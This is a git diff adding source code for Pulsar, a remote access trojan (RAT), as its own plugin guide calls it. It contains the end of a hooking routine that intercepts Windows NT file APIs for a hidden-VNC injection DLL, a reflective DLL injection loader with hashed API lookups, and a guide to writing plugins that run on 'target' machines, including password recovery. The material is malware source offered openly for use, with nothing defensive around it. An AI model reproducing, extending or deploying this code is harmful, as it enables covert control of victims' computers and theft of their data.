LogDebugA("Hooked NtOpenFile"); + } + + FARPROC pNtDeleteFile = GetProcAddress(ntdll, "NtDeleteFile"); + if (pNtDeleteFile) { + MH_CreateHook(pNtDeleteFile, &HookedNtDeleteFile, (LPVOID*)&OriginalNtDeleteFile); + MH_EnableHook(pNtDeleteFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtDeleteFile"); + } + + FARPROC pNtSetInformationFile = GetProcAddress(ntdll, "NtSetInformationFile"); + if (pNtSetInformationFile) { + MH_CreateHook(pNtSetInformationFile, &HookedNtSetInformationFile, (LPVOID*)&OriginalNtSetInformationFile); + MH_EnableHook(pNtSetInformationFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtSetInformationFile"); + } + + FARPROC pNtQueryAttributesFile = GetProcAddress(ntdll, "NtQueryAttributesFile"); + if (pNtQueryAttributesFile) { + MH_CreateHook(pNtQueryAttributesFile, &HookedNtQueryAttributesFile, (LPVOID*)&OriginalNtQueryAttributesFile); + MH_EnableHook(pNtQueryAttributesFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryAttributesFile"); + } + + FARPROC pNtQueryFullAttributesFile = GetProcAddress(ntdll, "NtQueryFullAttributesFile"); + if (pNtQueryFullAttributesFile) { + MH_CreateHook(pNtQueryFullAttributesFile, &HookedNtQueryFullAttributesFile, (LPVOID*)&OriginalNtQueryFullAttributesFile); + MH_EnableHook(pNtQueryFullAttributesFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryFullAttributesFile"); + } + + FARPROC pNtQueryDirectoryFile = GetProcAddress(ntdll, "NtQueryDirectoryFile"); + if (pNtQueryDirectoryFile) { + MH_CreateHook(pNtQueryDirectoryFile, &HookedNtQueryDirectoryFile, (LPVOID*)&OriginalNtQueryDirectoryFile); + MH_EnableHook(pNtQueryDirectoryFile); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFile"); + } + + FARPROC pNtQueryDirectoryFileEx = GetProcAddress(ntdll, "NtQueryDirectoryFileEx"); + if (pNtQueryDirectoryFileEx) { + MH_CreateHook(pNtQueryDirectoryFileEx, &HookedNtQueryDirectoryFileEx, (LPVOID*)&OriginalNtQueryDirectoryFileEx); + MH_EnableHook(pNtQueryDirectoryFileEx); + if (g_LogFile != INVALID_HANDLE_VALUE) LogDebugA("Hooked NtQueryDirectoryFileEx"); + } + + g_HooksInitialized = TRUE; + if (g_LogFile != INVALID_HANDLE_VALUE) { + LogDebugA("=== All hooks installed successfully ==="); + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + if (g_LogFile != INVALID_HANDLE_VALUE) { + char excMsg[256]; + sprintf_s(excMsg, 256, "CRITICAL EXCEPTION: Hook installation failed! Code: 0x%X", GetExceptionCode()); + LogDebugA(excMsg); + } + } + } + + void RemoveNtApiHooks() { + __try { + LogDebugA("=== Removing hooks ==="); + g_HooksInitialized = FALSE; + MH_DisableHook(MH_ALL_HOOKS); + MH_Uninitialize(); + + if (g_LogFile != INVALID_HANDLE_VALUE) { + CloseHandle(g_LogFile); + g_LogFile = INVALID_HANDLE_VALUE; + } + } + __except (EXCEPTION_EXECUTE_HANDLER) { + // Fail silently on cleanup + } + } + +#ifdef __cplusplus +} +#endif diff --git a/HVNCInjection/src/NtApiHooks.h b/HVNCInjection/src/NtApiHooks.h new file mode 100644 index 0000000..4c6c59a --- /dev/null +++ b/HVNCInjection/src/NtApiHooks.h @@ -0,0 +1,23 @@ +//===============================================================================================// +// NT API Hooking Header +//===============================================================================================// +#ifndef _NTAPIHOOKS_H +#define _NTAPIHOOKS_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + + // Initialize all NT API hooks + void InstallNtApiHooks(LPVOID lpParameter); + + // Remove all NT API hooks + void RemoveNtApiHooks(); + +#ifdef __cplusplus +} +#endif + +#endif // _NTAPIHOOKS_H diff --git a/HVNCInjection/src/NtApiHooksConfig.h b/HVNCInjection/src/NtApiHooksConfig.h new file mode 100644 index 0000000..589afcd --- /dev/null +++ b/HVNCInjection/src/NtApiHooksConfig.h @@ -0,0 +1,12 @@ +//===============================================================================================// +// NT API Hook Configuration +// Edit this file and rebuild to change settings +//===============================================================================================// +#ifndef _NTAPIHOOKS_CONFIG_H +#define _NTAPIHOOKS_CONFIG_H + +// Set to 1 to enable detailed logging, 0 to disable +// Log file will be created at %TEMP%\rdi_hooks.log +#define ENABLE_DEBUG_LOGGING 0 + +#endif // _NTAPIHOOKS_CONFIG_H diff --git a/HVNCInjection/src/ReflectiveDLLInjection.h b/HVNCInjection/src/ReflectiveDLLInjection.h new file mode 100644 index 0000000..72fd96b --- /dev/null +++ b/HVNCInjection/src/ReflectiveDLLInjection.h @@ -0,0 +1,51 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include + +// we declare some common stuff in here... + +#define DLL_QUERY_HMODULE 6 + +#define DEREF( name )*(UINT_PTR *)(name) +#define DEREF_64( name )*(DWORD64 *)(name) +#define DEREF_32( name )*(DWORD *)(name) +#define DEREF_16( name )*(WORD *)(name) +#define DEREF_8( name )*(BYTE *)(name) + +typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID); +typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID); + +#define DLLEXPORT __declspec( dllexport ) + +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/HVNCInjection/src/ReflectiveDll.c b/HVNCInjection/src/ReflectiveDll.c new file mode 100644 index 0000000..c8cc4b3 --- /dev/null +++ b/HVNCInjection/src/ReflectiveDll.c @@ -0,0 +1,43 @@ +//===============================================================================================// +// This is a stub for the actuall functionality of the DLL. +//===============================================================================================// +#include "ReflectiveLoader.h" +#include "NtApiHooks.h" + +// Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are +// defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own +// DllMain and use the LoadRemoteLibraryR() API to inject this DLL. + +// You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) +extern HINSTANCE hAppInstance; + +// Store the parameter passed to ReflectiveLoader +extern LPVOID g_lpReflectiveParameter; + +//===============================================================================================// +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) +{ + BOOL bReturnValue = TRUE; + switch (dwReason) + { + case DLL_QUERY_HMODULE: + if (lpReserved != NULL) + *(HMODULE*)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + DisableThreadLibraryCalls(hinstDLL); + + // Install NT API hooks with the parameter passed from the injector + InstallNtApiHooks(g_lpReflectiveParameter); + break; + case DLL_PROCESS_DETACH: + // Remove hooks on detach + RemoveNtApiHooks(); + break; + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/HVNCInjection/src/ReflectiveLoader.h b/HVNCInjection/src/ReflectiveLoader.h new file mode 100644 index 0000000..af149a1 --- /dev/null +++ b/HVNCInjection/src/ReflectiveLoader.h @@ -0,0 +1,203 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); +typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR); +typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); +typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror(DWORD d) +{ + return _rotr(d, HASH_KEY); +} + +__forceinline DWORD hash(char* c) +{ + register DWORD h = 0; + do + { + h = ror(h); + h += *c; + } while (*++c); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, * PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK* pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC, * PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// diff --git a/HVNCInjection/src/libMinHook.x64.lib b/HVNCInjection/src/libMinHook.x64.lib new file mode 100644 index 0000000..e211ad6 Binary files /dev/null and b/HVNCInjection/src/libMinHook.x64.lib differ diff --git a/Images/build_solution.png b/Images/build_solution.png new file mode 100644 index 0000000..631ea91 Binary files /dev/null and b/Images/build_solution.png differ diff --git a/Images/build_with_donut.png b/Images/build_with_donut.png new file mode 100644 index 0000000..70c98c6 Binary files /dev/null and b/Images/build_with_donut.png differ diff --git a/Images/disabled_shellcode.png b/Images/disabled_shellcode.png new file mode 100644 index 0000000..2ba4004 Binary files /dev/null and b/Images/disabled_shellcode.png differ diff --git a/Images/download_donut.png b/Images/download_donut.png new file mode 100644 index 0000000..72b4126 Binary files /dev/null and b/Images/download_donut.png differ diff --git a/Images/file_manager.png b/Images/file_manager.png new file mode 100644 index 0000000..20fef33 Binary files /dev/null and b/Images/file_manager.png differ diff --git a/Images/move_to_bin.png b/Images/move_to_bin.png new file mode 100644 index 0000000..60e53c0 Binary files /dev/null and b/Images/move_to_bin.png differ diff --git a/Images/open_project.png b/Images/open_project.png new file mode 100644 index 0000000..43f2a17 Binary files /dev/null and b/Images/open_project.png differ diff --git a/Images/remote_desktop.png b/Images/remote_desktop.png new file mode 100644 index 0000000..ce71e29 Binary files /dev/null and b/Images/remote_desktop.png differ diff --git a/Images/remote_shell.png b/Images/remote_shell.png new file mode 100644 index 0000000..5d376a0 Binary files /dev/null and b/Images/remote_shell.png differ diff --git a/Images/select_config.png b/Images/select_config.png new file mode 100644 index 0000000..b00bdfb Binary files /dev/null and b/Images/select_config.png differ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..2f3b8e1 --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 PulsarTeam + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Licenses/Be.HexEditor_license.txt b/Licenses/Be.HexEditor_license.txt new file mode 100644 index 0000000..2f8576c --- /dev/null +++ b/Licenses/Be.HexEditor_license.txt @@ -0,0 +1,21 @@ +The MIT License + +Copyright (c) 2011 Bernhard Elbl + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/BouncyCastle_license.html b/Licenses/BouncyCastle_license.html new file mode 100644 index 0000000..829aa6b --- /dev/null +++ b/Licenses/BouncyCastle_license.html @@ -0,0 +1,39 @@ + + + + + License + + +

The Bouncy Castle Cryptographic C#® API

+

License:

+The Bouncy Castle License
+Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc. +(https://www.bouncycastle.org)
+Permission is hereby granted, free of charge, to any person obtaining a +copy of this software and associated documentation files (the "Software"), to deal in the +Software without restriction, including without limitation the rights to use, copy, modify, merge, +publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included +in all copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", +WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
+INCLUDING BUT NOT LIMITED TO THE +WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
+PURPOSE AND NONINFRINGEMENT. IN NO +EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
+OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+
+ + diff --git a/Licenses/GlobalMouseKeyHook_license.txt b/Licenses/GlobalMouseKeyHook_license.txt new file mode 100644 index 0000000..78d9757 --- /dev/null +++ b/Licenses/GlobalMouseKeyHook_license.txt @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2010-2018 George Mamaladze + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/Mono.Cecil_license.txt b/Licenses/Mono.Cecil_license.txt new file mode 100644 index 0000000..afd0ae6 --- /dev/null +++ b/Licenses/Mono.Cecil_license.txt @@ -0,0 +1,21 @@ +Copyright (c) 2008 - 2015 Jb Evain +Copyright (c) 2008 - 2011 Novell, Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Licenses/Open.Nat_license.txt b/Licenses/Open.Nat_license.txt new file mode 100644 index 0000000..cb71efb --- /dev/null +++ b/Licenses/Open.Nat_license.txt @@ -0,0 +1,23 @@ +The MIT License + +Copyright (C) 2006 Alan McGovern +Copyright (C) 2007 Ben Motmans +Copyright (C) 2014 Lucas Ontivero + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Licenses/ResourceLib_license.txt b/Licenses/ResourceLib_license.txt new file mode 100644 index 0000000..cd812d8 --- /dev/null +++ b/Licenses/ResourceLib_license.txt @@ -0,0 +1,20 @@ +Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc. + +Permission is hereby granted, free of charge, to any person obtaining +a copy of this software and associated documentation files (the +"Software"), to deal in the Software without restriction, including +without limitation the rights to use, copy, modify, merge, publish, +distribute, sublicense, and/or sell copies of the Software, and to +permit persons to whom the Software is furnished to do so, subject to +the following conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/Licenses/SilkIcons_license.txt b/Licenses/SilkIcons_license.txt new file mode 100644 index 0000000..e1c6e8d --- /dev/null +++ b/Licenses/SilkIcons_license.txt @@ -0,0 +1,2 @@ +Silk icon set 1.3 by Mark James +http://www.famfamfam.com/lab/icons/silk/ diff --git a/Licenses/protobuf-net_license.txt b/Licenses/protobuf-net_license.txt new file mode 100644 index 0000000..692cf3b --- /dev/null +++ b/Licenses/protobuf-net_license.txt @@ -0,0 +1,20 @@ +The core Protocol Buffers technology is provided courtesy of Google. +At the time of writing, this is released under the BSD license. +Full details can be found here: + +http://code.google.com/p/protobuf/ + + +This .NET implementation is Copyright 2008 Marc Gravell + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/Plugins/README.md b/Plugins/README.md new file mode 100644 index 0000000..60f1e9b --- /dev/null +++ b/Plugins/README.md @@ -0,0 +1,607 @@ +# Pulsar Plugin System - Developer Guide + +Welcome to the Pulsar Plugin System! This guide will teach you how to create powerful plugins that can run on client machines through the Pulsar RAT system. + +## 📋 Table of Contents +- [Quick Start](#-quick-start) +- [Plugin Types](#-plugin-types) +- [Creating Your First Plugin](#-creating-your-first-plugin) +- [Advanced Features](#-advanced-features) +- [Code Templates](#-code-templates) +- [Troubleshooting](#-troubleshooting) + +## Quick Start + +### What You Need +- **Visual Studio** or **VS Code** with C# support +- **Basic C# knowledge** (variables, methods, classes) +- **Most importantly, a brain** + +### Plugin System Overview +- **Client Plugins**: Run on the target machine (what we'll focus on) +- **Server Plugins**: Run on the server (for UI and management) +- **Universal System**: Works with any .NET Framework 4.7.2+ project + +## Plugin Types + +### 0. **Client-Only Auto Plugins** (New) +- Target a single assembly that implements `IUniversalPlugin` +- Name the compiled DLL with a `.Client.dll` suffix (for example `ActionPlugin.Client.dll`) and drop it into `Pulsar.Server/Plugins` +- Every connected client loads the plugin automatically without any server UI wiring +- The plugin's `Initialize` method runs immediately after download, perfect for one-shot actions +- Update the `Version` property when you publish a new build so clients receive the fresh copy +- Optional: place a `.init` file next to your DLL to supply raw init data bytes + +### 1. **Server-Only Plugins** (Run on server machine) +- Add menu items to the server interface +- Create custom server UI windows +- Handle server-side data processing +- **Example**: Custom client management tools, server utilities + +### 2. **Server-Client Plugins** (Both components needed) +- Server part: UI and menu integration +- Client part: Actual work on target machine +- Communication between server and client +- **Example**: passwords recovery, etc + +## Important Terms Explained + +### Plugin State +- **`IsComplete`**: Tells the system if your plugin is done working +- 